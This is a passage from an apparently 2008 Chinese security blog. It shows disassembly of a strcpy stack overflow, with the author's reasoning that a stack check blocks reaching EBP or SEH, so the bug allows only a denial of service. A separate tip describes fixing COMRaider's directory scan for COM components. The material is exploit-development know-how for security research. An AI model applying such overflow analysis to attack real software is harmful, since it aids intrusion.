+var_45C]
.text:00441BFC                 mov     edx, [ebp
+arg_4]
.text:00441BFF                 mov     eax, [edx
+ecx*4]
.text:00441C02                 push    eax             ; 
char *
.text:00441C03                 mov     ecx, [ebp
+var_20]
.text:00441C06                 push    ecx             ; 
char *
.text:00441C07                 call    _strcpy           #拷贝溢出
.text:00441C0C                  add     esp, 
8
.text:00441C0F                 mov     edx, [ebp
+var_20]
.text:00441C12                 push    edx             ; 
char *
.text:00441C13                 call    _strlen
.text:00441C18                 add     esp, 
4
.text:00441C1B                 mov     ecx, [ebp
+var_20]
.text:00441C1E                 lea     edx, [ecx
+eax+1]
.text:00441C22                 mov     [ebp
+var_20], edx
.text:00441C25                 jmp     
short loc_441BD8
.text:00441C27 ; 
---------------------------------------------------------------------------


但是有个难点:

在覆盖到ebp或者SEH之前,就因为
cmp dword ptr [eax+edx*4], 0
jz short loc_441C27
的判断异常退出了

原因在覆盖过程中,会覆盖 ecx, edx

而eax指向当前栈中,这个加载地址是随机变化的,所以要使[eax+edx*4]不为0,同时payload里又不能出现0字节,很难控制。

所以这个漏洞个基本上只能dos,不能利用了。

也许哪位大牛有更好的办法?

2008年3月2日 星期日

[Tips]Comraider扫描指定目录获取COM组件bug修正

By: Void (void@ph4nt0m.org)

Date: 2008-03-02

Team: http://www.ph4nt0m.org


存在问题版本: COMRaider <= v0.0.141

Comraider的"Scan a directory for registered COM servers"功能有一个bug,会漏扫选定目录下的COM组件.
Comradier扫描的原理是遍历注册表HKEY_CLASSES_ROOT\CLSID\下的classid,如果某classid键下有 InprocServer32键,则读取其默认值(即COM组件的文件路径)与选定目录路径(是长路径名)进行比较,如果选定路径在其中,就认为是该目录 下的一个COM组件.
bug出在comraider没有处理注册表里InprocServer32键的8.3格式的短路径和带环境变量名的路径就与选定目录进行比较,如"C: \PROGRA~1\COMMON~1\MICROS~1\WEBCOM~1\11\OWC11.DLL", "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"等.

这里提供修改好的frmScanDir.frm,将其加入comraider工程的vb源码重新编译即可.